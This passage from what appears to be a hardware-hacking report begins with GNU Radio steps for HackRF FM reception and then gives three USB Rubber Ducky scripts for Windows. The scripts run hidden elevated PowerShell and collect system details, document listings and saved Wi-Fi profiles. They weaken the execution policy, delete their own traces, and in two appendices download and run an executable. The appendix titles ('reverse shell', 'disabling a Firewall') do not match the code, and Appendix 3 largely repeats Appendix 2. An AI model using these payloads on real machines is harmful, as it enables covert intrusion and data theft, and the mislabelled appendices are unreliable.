so:    At this point if you run the program, you should be able to hear a radio station. If not, you can try changing around your centre\_freq or the frequency in your signal source block, it depends on what FM frequencies are strongest in your area. I was able to hear audio with a centre\_freq of 98M and a signal source frequency of 1.4M but again, these will vary depending on your area.  If you’re hearing audio, but also getting a lot of static, try adjusting the antenna a bit on your HackRF or slightly changing frequency. It can also help to follow the next step.  We can also try adjusting the audio by adding in a GUI widget to our program that will allow us to change the volume of our audio. To do this we first need to add a multiply between our WBFM receive and audio sink. This time using a multiply constant from the math operators.  You will notice that we currently have a type mismatch, as the multiply constant block wants a digital signal, not an audio signal. We can fix this by changing the IO type to a float. This allows us to connect the WBFM Receive out to the multiply constant in and the out of the multiply to the audio sink in.  Now we need to add in our GUI element. Which we will find in GUI Widgets -> QT and GUI Range. Call the slider audio\_gain. Set the default to be 1, the maximum to be 10 and the step to either be 0.25 or 0.5. We then need to change the multiply constant by changing its constant to audio\_gain like so:    The final flow diagram should look something like this:      Feel free to now create your own payloads for any of the devices. | |
| **Appendix 1**  **Ducky script for reverse shell scripting attack with a USB rubber ducky on Windows computer**  **----------------------------------------------------------------------------------------------**  **DELAY 750**  **GUI r**  **DELAY 1000**  **STRING powershell Start-Process notepad -Verb runAs**  **ENTER**  **DELAY 750**  **ALT y**  **DELAY 750**  **ENTER**  **ALT SPACE**  **DELAY 1000**  **STRING m**  **DELAY 1000**  **DOWNARROW**  **REPEAT 100**  **ENTER**  **STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss')**  **ENTER**  **STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime**  **ENTER**  **STRING $fileSaveDir = New-Item ($userDir) -ItemType Directory**  **ENTER**  **STRING $date = get-date**  **ENTER**  **STRING $style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>"**  **ENTER**  **STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html'**  **ENTER**  **STRING $Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"**  **ENTER**  **STRING $SysBootTime = Get-WmiObject Win32\_OperatingSystem**  **ENTER**  **STRING $BootTime = $SysBootTime.ConvertToDateTime($SysBootTime.LastBootUpTime)| ConvertTo-Html datetime**  **ENTER**  **STRING $SysSerialNo = (Get-WmiObject -Class Win32\_OperatingSystem -ComputerName $env:COMPUTERNAME)**  **ENTER**  **STRING $SerialNo = $SysSerialNo.SerialNumber**  **ENTER**  **STRING $SysInfo = Get-WmiObject -class Win32\_ComputerSystem -namespace root/CIMV2 | Select Manufacturer,Model**  **ENTER**  **STRING $SysManufacturer = $SysInfo.Manufacturer**  **ENTER**  **STRING $SysModel = $SysInfo.Model**  **ENTER**  **STRING $OS = (Get-WmiObject Win32\_OperatingSystem -computername $env:COMPUTERNAME ).caption**  **ENTER**  **STRING $disk = Get-WmiObject Win32\_LogicalDisk -Filter "DeviceID='C:'"**  **ENTER**  **STRING $HD = [math]::truncate($disk.Size / 1GB)**  **ENTER**  **STRING $FreeSpace = [math]::truncate($disk.FreeSpace / 1GB)**  **ENTER**  **STRING $SysRam = Get-WmiObject -Class Win32\_OperatingSystem -computername $env:COMPUTERNAME | Select TotalVisibleMemorySize**  **ENTER**  **STRING $Ram = [Math]::Round($SysRam.TotalVisibleMemorySize/1024KB)**  **ENTER**  **STRING $SysCpu = Get-WmiObject Win32\_Processor | Select Name**  **ENTER**  **STRING $Cpu = $SysCpu.Name**  **ENTER**  **STRING $HardSerial = Get-WMIObject Win32\_BIOS -Computer $env:COMPUTERNAME | select SerialNumber**  **ENTER**  **STRING $HardSerialNo = $HardSerial.SerialNumber**  **ENTER**  **STRING $SysCdDrive = Get-WmiObject Win32\_CDROMDrive |select Name**  **ENTER**  **STRING $graphicsCard = gwmi win32\_VideoController |select Name**  **ENTER**  **STRING $graphics = $graphicsCard.Name**  **ENTER**  **STRING $SysCdDrive = Get-WmiObject Win32\_CDROMDrive |select -first 1**  **ENTER**  **STRING $DriveLetter = $CDDrive.Drive**  **ENTER**  **STRING $DriveName = $CDDrive.Caption**  **ENTER**  **STRING $Disk = $DriveLetter + '\' + $DriveName**  **ENTER**  **STRING $Firewall = New-Object -com HNetCfg.FwMgr**  **ENTER**  **STRING $FireProfile = $Firewall.LocalPolicy.CurrentProfile**  **ENTER**  **STRING $FireProfile = $FireProfile.FirewallEnabled**  **ENTER**  **STRING $Report = $Report + "<div id=left><h3>Computer Information</h3><br><table><tr><td>Operating System</td><td>$OS</td></tr><tr><td>OS Serial Number:</td><td>$SerialNo</td></tr><tr><td>Current User:</td><td>$env:USERNAME </td></tr><tr><td>System Uptime:</td><td>$BootTime</td></tr><tr><td>System Manufacturer:</td><td>$SysManufacturer</td></tr><tr><td>System Model:</td><td>$SysModel</td></tr><tr><td>Serial Number:</td><td>$HardSerialNo</td></tr><tr><td>Firewall is Active:</td><td>$FireProfile</td></tr></table></div><div id=right><h3>Hardware Information</h3><table><tr><td>Hardrive Size:</td><td>$HD GB</td></tr><tr><td>Hardrive Free Space:</td><td>$FreeSpace GB</td></tr><tr><td>System RAM:</td><td>$Ram GB</td></tr><tr><td>Processor:</td><td>$Cpu</td></tr><td>CD Drive:</td><td>$Disk</td></tr><tr><td>Graphics Card:</td><td>$graphics</td></tr></table></div>"**  **ENTER**  **STRING $Report = $Report + '<div id=center><h3>User Documents (doc,docx,pdf,rar)</h3>'**  **ENTER**  **STRING $Report = $Report + (Get-ChildItem -Path $userDir -Include \*.doc, \*.docx, \*.pdf, \*.zip, \*.rar -Recurse |convertto-html Directory, Name, LastAccessTime)**  **ENTER**  **STRING $Report = $Report + '</div>'**  **ENTER**  **STRING $Report >> $fileSaveDir'/ComputerInfo.html'**  **ENTER**  **STRING function copy-ToZip($fileSaveDir){**  **ENTER**  **STRING $srcdir = $fileSaveDir**  **ENTER**  **STRING $zipFile = '\Report.zip'**  **ENTER**  **STRING if(-not (test-path($zipFile))) {**  **ENTER**  **STRING set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" \* 18))**  **ENTER**  **STRING (dir $zipFile).IsReadOnly = $false}**  **ENTER**  **STRING $shellApplication = new-object -com shell.application**  **ENTER**  **STRING $zipPackage = $shellApplication.NameSpace($zipFile)**  **ENTER**  **STRING $files = Get-ChildItem -Path $srcdir**  **ENTER**  **STRING foreach($file in $files) {**  **ENTER**  **STRING $zipPackage.CopyHere($file.FullName)**  **ENTER**  **STRING while($zipPackage.Items().Item($file.name) -eq $null){**  **ENTER**  **STRING Start-sleep -seconds 1 }}}**  **ENTER**  **STRING copy-ToZip($fileSaveDir)**  **ENTER**  **STRING remove-item $fileSaveDir -recurse**  **ENTER**  **STRING Remove-Item $MyINvocation.InvocationName**  **ENTER**  **CTRL s**  **DELAY 750**  **STRING C:\Windows\config-87366.ps1**  **ENTER**  **DELAY 1000**  **ALT F4**  **DELAY 750**  **GUI r**  **DELAY 500**  **STRING powershell Start-Process cmd -Verb runAs**  **ENTER**  **DELAY 1000**  **ALT y**  **DELAY 750**  **STRING mode con:cols=14 lines=1**  **ENTER**  **ALT SPACE**  **DELAY 750**  **STRING m**  **DELAY 1000**  **DOWNARROW**  **REPEAT 100**  **ENTER**  **STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false**  **ENTER**  **DELAY 750**  **STRING powershell.exe -windowstyle hidden -File C:\Windows\config-87366.ps1**  **ENTER**  **---------------------------------------------------------------------------------------------------------**  **Appendix 2**  **Ducky script for downloading .exe file and executing the file on Windows computer**  **---------------------------------------------------------------------------------------------------------**  **DELAY 750**  **GUI r**  **DELAY 1000**  **STRING powershell Start-Process notepad -Verb runAs**  **ENTER**  **DELAY 750**  **ALT y**  **DELAY 750**  **ENTER**  **ALT SPACE**  **DELAY 1000**  **STRING m**  **DELAY 1000**  **DOWNARROW**  **REPEAT 100**  **ENTER**  **STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss')**  **ENTER**  **STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime**  **ENTER**  **STRING $fileSaveDir = New-Item ($userDir) -ItemType Directory**  **ENTER**  **STRING $date = get-date**  **ENTER**  **STRING $style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>"**  **ENTER**  **STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html'**  **ENTER**  **STRING $Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"**  **ENTER**  **STRING $wlanSaveDir = New-Item $userDir'\Duck\WLAN\_PROFILES' -ItemType Directory**  **ENTER**  **STRING $srcDir = 'C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces'**  **ENTER**  **STRING Copy-Item $srcDir $wlanSaveDir -Recurse**  **ENTER**  **STRING $Report >> $fileSaveDir'/ComputerInfo.html'**  **ENTER**  **STRING function copy-ToZip($fileSaveDir){**  **ENTER**  **STRING $srcdir = $fileSaveDir**  **ENTER**  **STRING $zipFile = '\Report.zip'**  **ENTER**  **STRING if(-not (test-path($zipFile))) {**  **ENTER**  **STRING set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" \* 18))**  **ENTER**  **STRING (dir $zipFile).IsReadOnly = $false}**  **ENTER**  **STRING $shellApplication = new-object -com shell.application**  **ENTER**  **STRING $zipPackage = $shellApplication.NameSpace($zipFile)**  **ENTER**  **STRING $files = Get-ChildItem -Path $srcdir**  **ENTER**  **STRING foreach($file in $files) {**  **ENTER**  **STRING $zipPackage.CopyHere($file.FullName)**  **ENTER**  **STRING while($zipPackage.Items().Item($file.name) -eq $null){**  **ENTER**  **STRING Start-sleep -seconds 1 }}}**  **ENTER**  **STRING copy-ToZip($fileSaveDir)**  **ENTER**  **STRING remove-item $fileSaveDir -recurse**  **ENTER**  **STRING Remove-Item $MyINvocation.InvocationName**  **ENTER**  **CTRL s**  **DELAY 750**  **STRING C:\Windows\config-39407.ps1**  **ENTER**  **DELAY 1000**  **ALT F4**  **DELAY 750**  **GUI r**  **DELAY 500**  **STRING powershell Start-Process cmd -Verb runAs**  **ENTER**  **DELAY 1000**  **ALT y**  **DELAY 750**  **STRING mode con:cols=14 lines=1**  **ENTER**  **ALT SPACE**  **DELAY 750**  **STRING m**  **DELAY 1000**  **DOWNARROW**  **REPEAT 100**  **ENTER**  **STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false**  **ENTER**  **DELAY 750**  **STRING powershell.exe -windowstyle hidden -File C:\Windows\config-39407.ps1**  **ENTER**  **STRING (New-Object Net.Webclient).DownloadFile('',"C:\Windows\System32\39407.exe"); Start-Process -FilePath "C:\Windows\System32\39407.exe"**  **ENTER**  **----------------------------------------------------------------------------------------------**  **Appendix 3**  **Ducky script for disabling a Firewall on a Windows computer**  **-----------------------------------------------------------------------------------------------**  **DELAY 750**  **GUI r**  **DELAY 1000**  **STRING powershell Start-Process notepad -Verb runAs**  **ENTER**  **DELAY 750**  **ALT y**  **DELAY 750**  **ENTER**  **ALT SPACE**  **DELAY 1000**  **STRING m**  **DELAY 1000**  **DOWNARROW**  **REPEAT 100**  **ENTER**  **STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss')**  **ENTER**  **STRING $userDir = (Get-ChildItem env:\userprofile).value + '\Ducky Report ' + $folderDateTime**  **ENTER**  **STRING $fileSaveDir = New-Item ($userDir) -ItemType Directory**  **ENTER**  **STRING $date = get-date**  **ENTER**  **STRING $style = "<style> table td{padding-right: 10px;text-align: left;}#body {padding:50px;font-family: Helvetica; font-size: 12pt; border: 10px solid black;background-color:white;height:100%;overflow:auto;}#left{float:left; background-color:#C0C0C0;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#right{background-color:#C0C0C0;float:right;width:45%;height:260px;border: 4px solid black;padding:10px;margin:10px;overflow:scroll;}#center{background-color:#C0C0C0;width:98%;height:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>"**  **ENTER**  **STRING $Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html'**  **ENTER**  **STRING $Report = $Report + "<div id=body><h1>Duck Tool Kit Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>"**  **ENTER**  **STRING $wlanSaveDir = New-Item $userDir'\Duck\WLAN\_PROFILES' -ItemType Directory**  **ENTER**  **STRING $srcDir = 'C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces'**  **ENTER**  **STRING Copy-Item $srcDir $wlanSaveDir -Recurse**  **ENTER**  **STRING $Report >> $fileSaveDir'/ComputerInfo.html'**  **ENTER**  **STRING function copy-ToZip($fileSaveDir){**  **ENTER**  **STRING $srcdir = $fileSaveDir**  **ENTER**  **STRING $zipFile = '\Report.zip'**  **ENTER**  **STRING if(-not (test-path($zipFile))) {**  **ENTER**  **STRING set-content $zipFile ("PK" + [char]5 + [char]6 + ("$([char]0)" \* 18))**  **ENTER**  **STRING (dir $zipFile).IsReadOnly = $false}**  **ENTER**  **STRING $shellApplication = new-object -com shell.application**  **ENTER**  **STRING $zipPackage = $shellApplication.NameSpace($zipFile)**  **ENTER**  **STRING $files = Get-ChildItem -Path $srcdir**  **ENTER**  **STRING foreach($file in $files) {**  **ENTER**  **STRING $zipPackage.CopyHere($file.FullName)**  **ENTER**  **STRING while($zipPackage.Items().Item($file.name) -eq $null){**  **ENTER**  **STRING Start-sleep -seconds 1 }}}**  **ENTER**  **STRING copy-ToZip($fileSaveDir)**  **ENTER**  **STRING remove-item $fileSaveDir -recurse**  **ENTER**  **STRING Remove-Item $MyINvocation.InvocationName**  **ENTER**  **CTRL s**  **DELAY 750**  **STRING C:\Windows\config-39407.ps1**  **ENTER**  **DELAY 1000**  **ALT F4**  **DELAY 750**  **GUI r**  **DELAY 500**  **STRING powershell Start-Process cmd -Verb runAs**  **ENTER**  **DELAY 1000**  **ALT y**  **DELAY 750**  **STRING mode con:cols=14 lines=1**  **ENTER**  **ALT SPACE**  **DELAY 750**  **STRING m**  **DELAY 1000**  **DOWNARROW**  **REPEAT 100**  **ENTER**  **STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false**  **ENTER**  **DELAY 750**  **STRING powershell.exe -windowstyle hidden -File C:\Windows\config-39407.ps1**  **ENTER**  **STRING (New-Object Net.Webclient).DownloadFile('',"C:\Windows\System32\39407.exe"); Start-Process -FilePath "C:\Windows\System32\39407.exe"**  **ENTER**  **---------------------------------------------------------------------------------------------------** | |

1. https://www.fortinet.com/blog/industry-trends/ensuring-strong-cyber-hygiene-on-world-password-day [↑](#footnote-ref-1)
2. https://www.cnet.com/tech/services-and-software/google-collects-a-frightening-amount-of-data-about-you-you-can-find-and-delete-it-now/ [↑](#footnote-ref-2)